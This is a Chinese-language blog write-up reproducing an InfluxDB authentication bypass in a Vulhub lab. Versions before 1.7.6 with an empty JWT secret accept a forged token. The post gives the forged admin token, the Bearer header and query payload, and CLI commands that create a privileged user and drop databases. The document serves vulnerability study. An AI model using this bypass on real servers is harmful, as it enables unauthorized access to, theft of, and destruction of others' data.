InfluxDB 未授权访问 漏洞复现

一、漏洞描述

InfluxDB 是一个开源分布式时序、时间和指标数据库,使用 Go 语言编写,无需外部依赖。其设计目标是实现分布式和水平伸缩扩展,是 InfluxData 的核心产品。其使用 jwt 作为鉴权方式。在用户开启了认证,但未设置参数 shared-secret 的情况下,jwt 的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在 InfluxDB 中执行SQL语句。

二、漏洞影响

InfluxDB < 1.7.6

三、漏洞复现

1、环境搭建

使用 Vulhub 在服务器上搭建:

cd /vulhub/influxdb/unacc
docker-compose up -d

开放在默认的8086端口,环境启动后,访问http://xxx:8086/debug/vars可查看系统服务信息:
在这里插入图片描述

2、漏洞复现

进入到/query查询功能会提示需要登录:
在这里插入图片描述
通过https://jwt.io/生成Cookie,绕过身份验证,构造所需的 Token:

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "username": "admin",
  "exp": 1676346267
}

其中,username需要为已存在的用户,exp是时间戳,代表该 Token 的过期时间,所以需要生成一个未来的时间戳,其中1676346267转换为时间是:2023-02-14 11:44:27
secret的值置空,得到编码后的 Token:
在这里插入图片描述
抓取/query页面的数据包,并将请求方式修改为 POST,添加请求头:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc2MzQ2MjY3fQ.NPhb55F0tpsp5X5vcN_IkAAGDfNzV5BA6M4AThhxz6A

添加 POST 请求键值对:db=sample&q=show+users
在这里插入图片描述
发送数据包,得到查询结果。

命令行连接目标:

 influx -database 'databasename' -host '0.0.0.0' -port '8086'

常用命令:

show databases		# 显示数据库
show users			# 显示用户
show measurements	# 显示所有measurements

create user influx with password '*********' with all privileges;	# 创建用户

create database xxx	# 创建xxx数据库
drop database xxx	# 删除xxx数据库

use xxx		# 使用xxx数据库
select * from measurement_name limit 10

四、漏洞POC

/query页面发送 POST 请求:db=sample&q=show users,得到用户信息回显。

参考链接

https://www.jianshu.com/p/68c471bf5533
https://vulhub.org/#/environments/influxdb/unacc/

  • 5
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值